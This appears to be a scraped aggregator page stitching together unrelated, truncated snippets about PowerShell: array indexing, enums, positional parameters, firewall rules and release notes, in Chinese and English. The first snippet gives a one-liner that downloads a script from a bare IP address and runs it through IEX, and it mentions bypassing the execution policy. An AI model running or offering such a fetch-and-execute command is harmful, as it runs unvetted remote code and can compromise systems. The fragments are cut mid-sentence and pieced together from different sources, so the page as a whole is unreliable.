1.本地读取然后通过管道符运行 powershell Get-Content 1.ps1 | powershell -NoProfile - 2.远程下载并通过IEX运行脚本 powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"3.Bypass执行策略绕过 powe
PowerShell 复制 $processList = Get-Process 我们已经讨论的所有基本功能仍适用于对象数组,但有几个细节需要注意。访问属性可以使用索引访问集合中的单个项,就像使用值类型一样。PowerShell 复制 PS> $data[0] FirstName LastName --- --- Kevin Marquette 可以直接访问和更新属性。Power...
On top of that, you might need to check beforehand to ensure that x really is an array in the first place (which results in even more work on your part). After all, trying to loop through something that isn’t an array will also result in an error: 复制 x = 1 For Each y...
2.枚举和字符串之间转换 枚举转换为字符串可以直接使用 ToString() 方法, 枚举值 ToString 后会直接输出枚举值标识符的字符串形式,例如 Country.CN.ToString()得到的结果是字符串...GetNames GetNames 方法需要传入一个枚举类型,返回值是一个字符串数组。...这里有一点需要注意,TryParse 方法是在 .net 4.0...
When you use positional parameters, type one or more values after the function name. Positional parameter values are assigned to the$argsarray variable. The value that follows the function name is assigned to the first position in the$argsarray,$args[0]. ...
the rules with theGetcommand and save it in a variable, observe the rules to be affected, then pipe them to theRemovecommand, just as we did for theSetcommands. The following example shows how the administrator can view all the blocking firewall rules, and then delete the first four ...
Selects objects from indexed collections, such as arrays and hash tables. Array indexes are zero-based, so the first object is indexed as[0]. You can also use negative indexes to get the last values. Hash tables are indexed by key value. ...
0, indicating the index number of our default option. In this case, we wantYesto be the default option, so we pass PromptForChoice the value0; that’s becauseYesis the first item in our array of menu options. (And the first item in an array always has the index number 0.) What ...
添加GraphicalHost 程序集,以启用 Out-GridView、Show-Command 和 Get-Help -ShowWindow (#10899) 在Get-HotFix 中通过管道获取 ComputerName (#10852)(感谢 @kvprasoon!) 修复参数的 Tab 自动补全,以便其将公共参数显示为可用 (#10850) 修复GetCorrectCasedPath() 以首先检查是否在调用 First() 之前返回...
{ param( [Parameter(Mandatory, Position=0)] [string]$Value, [Parameter(Position=1, ValueFromRemainingArguments)] [string[]]$Remaining ) "Found $($Remaining.Count) elements" for ($i = 0; $i -lt $Remaining.Count; $i++) { "${i}: $($Remaining[$i])" } } Test-Remaind...